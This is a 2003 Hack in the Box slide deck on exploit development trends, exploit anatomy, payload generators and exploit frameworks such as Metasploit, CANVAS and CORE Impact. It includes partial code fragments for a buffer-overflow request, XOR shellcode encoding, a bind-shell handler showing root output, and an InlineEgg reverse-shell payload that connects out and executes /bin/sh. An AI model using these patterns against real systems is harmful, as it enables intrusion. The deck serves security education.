
1

Hack in the Box 2003

Advanced
Exploit Development

Trends and Tools

H D Moore



2

Who

 Who am I?

Co-founder of Digital Defense

Security researcher (5+ years)

Projects

DigitalOffense.net

Metasploit.com
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What

What is this about?

1. Exploit Trends

2. Anatomy of an Exploit

3. Common Exploit Problems

4. Payload Generators

5. Exploit Frameworks

6. Metasploit v2.0 Demo!
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Why

Why should you see this?

Exploit basics and challenges

Recent trends and advances

New shellcode generation tools

Review of exploit frameworks

Exclusive look at Metasploit v2.0
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Exploit Trends
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#1: Exploit Trends

More Exploit Writers

Information reached critical mass

Huge exploit devel community

Improved Techniques

No more local brute force

4 Bytes:  GOT, SEH, PEB
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#1: Exploit Trends

Reliable Exploit Code

Universal win32 addresses

Allocation control techniques

 Where Does This Lead?

Shrinking exploit timeline

Exploit tools and frameworks
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Anatomy of an Exploit
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#2: Anatomy of an Exploit

Exploit Components

Target and option selection

Network and protocol code

Payload or “shellcode”

Payload encoding routine

Exploit request builder

Payload handler routine
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#2: Anatomy of an Exploit

Target and option selection

List of addresses and offsets

Process user selected target

Process other exploit options

This adds up to a lot of code...
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#2: Anatomy of an Exploit

Process Options

Target System
IP: 1.2.3.4
OS: Linux

./exp -h 1.2.3.4 -p 21 -t 0

Parsing command options...
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#2: Anatomy of an Exploit

Network and protocol code

Resolve the target address

Create the appropriate socket

Connect the socket if needed

Perform any error handling

Start protocol negotiation



13

#2: Anatomy of an Exploit

Process Options

Target System
IP: 1.2.3.4
OS: Linux

gethostbyname(sockaddr)
socket(AF_INET, ...);
connect(s, &sockaddr, 16)
ftp_login(s, user, pass);

Connecting to target...
Network Conn
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#2: Anatomy of an Exploit

Payload or “shellcode”

Executes when exploit works

Bindshell, Findsock, Adduser

Normally written in assembly 

Stored in code as binary string

Configuration done via offsets
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#2: Anatomy of an Exploit

Process Options

Target System
IP: 1.2.3.4
OS: Linux

shellcodes[0] = “\xeb...”
scode = shellcodes[target]
scode[PORT] = htons(...)

Setting target...
Network Conn

Payload
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#2: Anatomy of an Exploit

Payload encoding routine

Most exploits restrict characters

Encoder must filter these chars

Standard type is XOR decode

Often just pre-encode payload

Payload options also encoded
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#2: Anatomy of an Exploit

Process Options

Target System
IP: 1.2.3.4
OS: Linux

for(x=0;x<sizeof(scode);x++)
scode[x]^= 0x99;

Encoding shellcode...
Network Conn

Payload

Payload Encoder
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#2: Anatomy of an Exploit

Exploit request builder

Code which triggers the vuln

Ranges from simple to complex

Can require various calculations

Normally just string mangling

Scripting languages excel at this
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#2: Anatomy of an Exploit

Process Options

Target System
IP: 1.2.3.4
OS: Linux

buf= web_request(“/cgi-bin...
memcpy(buf+100, scode, ...);
buf[480] = (char *) retaddr;
send(s, buf, strlen(buf));

Sending exploit request...

Network Conn

Payload

Payload Encoder

Exploit Request

Payload
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#2: Anatomy of an Exploit

Payload handler routine

Each payload needs a handler

Often just connects to bindshell

Reverse connect needs listener

Connects console to socket

Account for large chunk of code
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#2: Anatomy of an Exploit

Process Options

Target System
IP: 1.2.3.4
OS: Linux

b = socket(AF_INET, ...);
connect(b, &sockaddr, 16);
handle_shell(b)

Dropping to shell...
sh-2.04# id
uid=0(root) gid=0(root)...

Network Conn

Payload

Payload Encoder

Exploit Request

Payload Handler Bind Shell
Payload
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Common Exploit Problems
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#3: Common Exploit Problems

Exploit code is rushed

Robust code takes time

Coders race to be the first

Old exploits are less useful

Result: lots of broken code
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#3: Common Exploit Problems

Exploiting Complex Protocols

RPC, SSH, SSL, SMB

Exploit depends on API

Exploit supplied as patch

Restricts exploit environment

Requires old software archive
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#3: Common Exploit Problems

Limited Target Sets

One-shot vulnerabilities suck

Always limited testing resources

Finding target values takes time
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#3: Common Exploit Problems

Payload Issues

Most hardcode payloads

Firewalls can block bind shells

Custom config breaks exploit

No standard payload library
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Payload Generators
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#4: Payload Generators

Generator Basics

Dynamic payload creation

Use a high-level language

Useful for custom situations
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#4: Payload Generators

Many Generator Projects

Only a few are usable

Spawned from frameworks

Impressive capabilities so far
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#4: Payload Generators

Impurity (Alexander Cuttergo)

Shellcode downloads to memory

Executable is staticly linked C

Allows library functions

No filesystem access required

Supports Linux on x86
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#4: Payload Generators
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#4: Payload Generators

Shellforge (Philippe Biondi )

Transforms C to payload

Uses GCC and python

Includes helper API

Simple and usable
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#4: Payload Generators

Shellforge Example:

#include "include/sfsyscall.h"

int main(void) 
{
  char buf[] = "Hello world!\n";
  write(1, buf, sizeof(buf));

exit(0);
}
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#4: Payload Generators

MOSDEF (Immunity Inc)

GPL spawn of CANVAS

Dynamic code via python

API loader via “import” tags

Compile, send, exec, return

Version 0.1 not ready to use
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#4: Payload Generators

MOSDEF Example:
#import "remote","Kernel32._lcreat" as "_lcreat"
#import "string","filename" as "filename

//start of code
void 
main() 
{
  int i;
  i=_lcreat(filename);
  sendint(i,i);
}
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#4: Payload Generators

InlineEgg (CORE SDI)

Spawn of CORE Impact

Dynamic code via python

Non-commercial use only

Supports Linux, BSD, Windows...
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#4: Payload Generators

InlineEgg Example:
    egg = InlineEgg(Linuxx86Syscall)

    # connect to other side
    sock = egg.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock = egg.save(sock)
    egg.connect(sock,(connect_addr, connect_port))

    # dup and exec
    egg.dup2(sock, 0)
    egg.dup2(sock, 1)
    egg.dup2(sock, 2)
    egg.execve('/bin/sh',('bash','-i'))
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Exploit Frameworks
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#5: Exploit Frameworks

Framework Basics

Library of common routines

Simple to add new payloads

Minimize development time

Platform for new techniques
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#5: Exploit Frameworks

Public Exploit Frameworks

Two stable commercial products

Handful of open source projects

New projects in stealth mode
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#5: Exploit Frameworks

CORE Impact (CORE SDI)

Strong product, 2+ years old

Skilled development team

Massive number of exploits

Python and C++ (Windows)

Starts at $15,000 USD
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#5: Exploit Frameworks

CORE Impact (CORE SDI)

Stable syscall proxy system

Full development platform

Discovery and probe modules

Macro function capabilities

Integrated XML reporting
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#5: Exploit Frameworks
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#5: Exploit Frameworks

Windows ASM Components

Solid design, great features

Includes skeleton and manager

Full source code is available

Written in C and ASM

Modular development system
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#5: Exploit Frameworks

Windows ASM Components

Small first stage component

Installs payload over network

Avoid bytes with XOR encoder

Fork, Bind, Connect, Findsock
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#5: Exploit Frameworks
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#5: Exploit Frameworks

CANVAS (Immunity Inc)

New and gaining ground

Small set of reliable exploits

Includes non-public “0-day”

Supports Linux & Windows

Priced at $995 USD
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#5: Exploit Frameworks

CANVAS (Immunity Inc)

Working syscall proxy system

Solid payload encoder system

Includes API for developers

Exploits Solaris, Linux, Windoze

Automatic SQL injection module
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#5: Exploit Frameworks
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#5: Exploit Frameworks

LibExploit (Simon Femerling)

New project, improving quickly

C library to simply development

Includes two sample exploits

Currently supports Linux x86

Released as open source (GPL)
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#5: Exploit Frameworks

LibExploit (Simon Femerling)

Includes ~30 stock payloads

Generate dynamic payloads

Can encode with ADMutate

Common networking API

Built-in exploit console
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#5: Exploit Frameworks
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#5: Exploit Frameworks

Metasploit Exploit Framework

Complete exploit environment

Small set of reliable exploits

Trivial to use new payloads

Handlers and callbacks

Full source code (OSS)
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#5: Exploit Frameworks

Metasploit Exploit Framework

Modular and extensible API

Protocol modules and routines

Easy to add new interfaces

Designed to allow embedding

Very active development
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#5: Exploit Frameworks
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Hack in the Box 2003

Questions?
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Hack in the Box 2003

Metasploit Framework
Demonstration


